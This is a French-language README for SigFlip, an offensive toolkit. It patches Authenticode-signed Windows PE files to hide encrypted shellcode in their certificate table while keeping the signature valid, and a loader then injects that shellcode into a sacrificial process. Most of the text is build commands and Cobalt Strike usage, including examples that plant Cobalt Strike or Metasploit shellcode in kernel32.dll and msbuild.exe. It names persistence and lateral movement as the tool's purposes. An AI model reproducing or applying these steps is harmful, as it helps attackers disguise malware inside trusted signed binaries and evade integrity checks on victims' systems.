
SigFlip est un outil pour patcher les fichiers PE signés avec Authenticode (exe, dll, sys ...etc) sans invalider ou casser la signature existante.
SigFlip est un outil pour patcher des fichiers PE signés avec Authenticode (exe, dll, sys, etc.) sans affecter ni casser la signature Authenticode existante. En d'autres termes, vous pouvez modifier le checksum/hash d'un fichier PE en y intégrant des données (par exemple, du shellcode) sans casser la signature du fichier, les contrôles d'intégrité ou la fonctionnalité du fichier PE.
SigInject chiffre et injecte du shellcode dans la table de certificats [WIN_CERTIFICATE] d'un fichier PE. La clé de chiffrement est affichée pour être utilisée avec un chargeur basique BOF/C/C# (SigLoader). SigInject enregistre les modifications dans un fichier PE modifié tout en préservant l'intégrité de sa signature et de son certificat.
SigLoader est un chargeur basique qui prend en paramètre le chemin d'un fichier PE modifié créé par SigInject et la clé de déchiffrement, puis extrait et déchiffre le shellcode intégré pour l'utiliser avec une injection de shellcode de votre choix.
SigFlip vérifie si le hash du PE a été modifié avec succès et se termine proprement si les points de terminaison sont durcis contre ce type de mauvaise configuration courante (voir section « Détails »).
Remarque rapide : SigFlip, SigInject et SigLoader sont disponibles sous forme de scripts BOF et d'assemblies .NET. La seule différence est que la fonctionnalité de SigInject est implémentée dans SigFlip (-i) si vous choisissez d'utiliser les artefacts .NET au lieu des BOF.
Il peut être principalement utilisé pour la persistance, le mouvement latéral ou l'exécution de code/commandes et peut aider à :
Les BOF précompilés ne sont pas fournis dans ce projet. Ils peuvent être compilés avec Mingw-w64. Pour .NET, utilisez VS ou csc.exe pour compiler les projets .NET (SigFlip, SigLoader). Pour BOF, suivez les étapes ci-dessous ;
➜ i686-w64-mingw32-gcc -c sigflip.c -o sigflip.x86.o➜ x86_64-w64-mingw32-gcc -c sigflip.c -o sigflip.x64.o➜ x86_64-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x64.o➜ i686-w64-mingw32-gcc -c SigLoader/sigloader.c -o sigloader.x86.oAssurez-vous que tous les fichiers objets se trouvent dans le même répertoire que sigflip.cna, puis chargez le script sigflip.cna dans Cobalt Strike.
Remarque rapide : les BOF précompilés ont été testés et sont compatibles avec mingw-64 v8.0.0_3. L'utilisation de mingw-64 >= v9 peut fonctionner mais peut planter les beacons actifs. Consultez https://github.com/med0x2e/SigFlip/issues/2 pour plus de détails.
Execute-Assembly
execute-assembly SigFlip.exe -hexecute-assembly SigLoader -hBOF
SigFlip : Modifier le hash d'un fichier PE (DLL, EXE, SYS, OCX, etc.) sans casser la signature ni la validité du certificat :
SigFlip "<PE\_FILE\_PATH>" "<OUTPUT\_PE\_FILE\_PATH (with extension)>"SigInject : Chiffre et injecte du shellcode dans la table de certificats [WIN_CERTIFICATE] d'un fichier PE. La clé de chiffrement est affichée pour être utilisée avec un chargeur basique C/C# tout en préservant l'intégrité de la signature et du certificat :
SigInject "<PE\_FILE\_PATH> <OUTPUT\_PE\_FILE\_PATH (with extension)>" "<SHELLCODE\_FILE>"SigLoader : Charge le shellcode chiffré à partir de fichiers PE créés par SigInject, puis utilise Early Bird queueuserapc pour générer/injecter le code dans un processus sacrificiel. La logique d'injection de shellcode peut être personnalisée ou remplacée par toute autre technique d'injection de code de votre choix :
SigLoader <PE_FILE_PATH_WITH_SH> <DECRYPTION_KEY> <SPAWNTO_PROCESS_PATH> <PARENT_PROCESS_ID>Exemples
BOF :
SigFlip "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe" "C:\lolbins\modified-msbuild.exe"SigInject "C:\Windows\System32\kernel32.dll" "C:\random\modified-kernel32.dll" "C:\shellcode\cobaltstrike_or_msf_shellcode.bin"Sigloader "C:\random\modified-kernel32.dll" "DECRYPTION_KEY" "C:\Windows\System32\werfault.exe" 6300Execute-Assembly :
execute-assembly SigFlip.exe -b C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -o C:\Temp\MSBuild.exeexecute-assembly SigFlip.exe -i C:\Windows\System32\kernel32.dll -s C:\Temp\x86shellcode.bin -o C:\Temp\kernel32.dll -e TestSecretKeyexecute-assembly SigLoader.exe -f C:\Temp\modified-kernel32.dll -e TestSecretKey -pid 2354Il s'agit d'une technique connue utilisée par APT#10 dans plusieurs campagnes ou ensembles d'intrusions.
Authenticode est une technologie de signature de code Microsoft qui identifie l'éditeur de logiciels signés avec Authenticode. Authenticode vérifie également que le logiciel n'a pas été altéré depuis sa signature et sa publication.